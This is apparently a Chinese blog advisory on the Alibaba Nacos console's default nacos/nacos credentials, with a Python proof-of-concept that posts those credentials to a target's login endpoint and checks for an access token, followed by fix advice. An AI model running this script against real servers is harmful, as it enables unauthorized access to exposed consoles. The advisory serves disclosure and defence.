Alibaba Nacos 控制台默认弱口令
漏洞描述
Alibaba Nacos 控制台存在默认弱口令 nacos/nacos,可登录后台查看敏感信息
影响范围
Alibaba Nacos
漏洞复现
发送如下请求:
返回200说明成功登录
脚本复现
python3 poc.py https://nacos.taget.com/
#!usr/bin/env python # *-* coding:utf-8 *-* import requests import json import sys import urllib3 urllib3.disable_warnings() def poc(arg): vuln_url = arg + 'v1/auth/users/login' headers = {"User-Agent": "Nacos-Server", "Content-Type": "application/x-www-form-urlencoded" } postdata= "username=nacos&password=nacos" try: r = requests.post(vuln_url,headers=headers,verify=False,timeout=20,allow_redirects=False,data=postdata) if r.status_code == 200 and "accessToken" in r.text: print('存在漏洞:'+vuln_url) except Exception as e: print('出错:'+str(e)) pass url=sys.argv[1] poc(url)
修复建议
1、升级最新版本: https://nacos.io/zh-cn/
2、口令8位数以上,包括大小写字符,特殊字母,数字
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步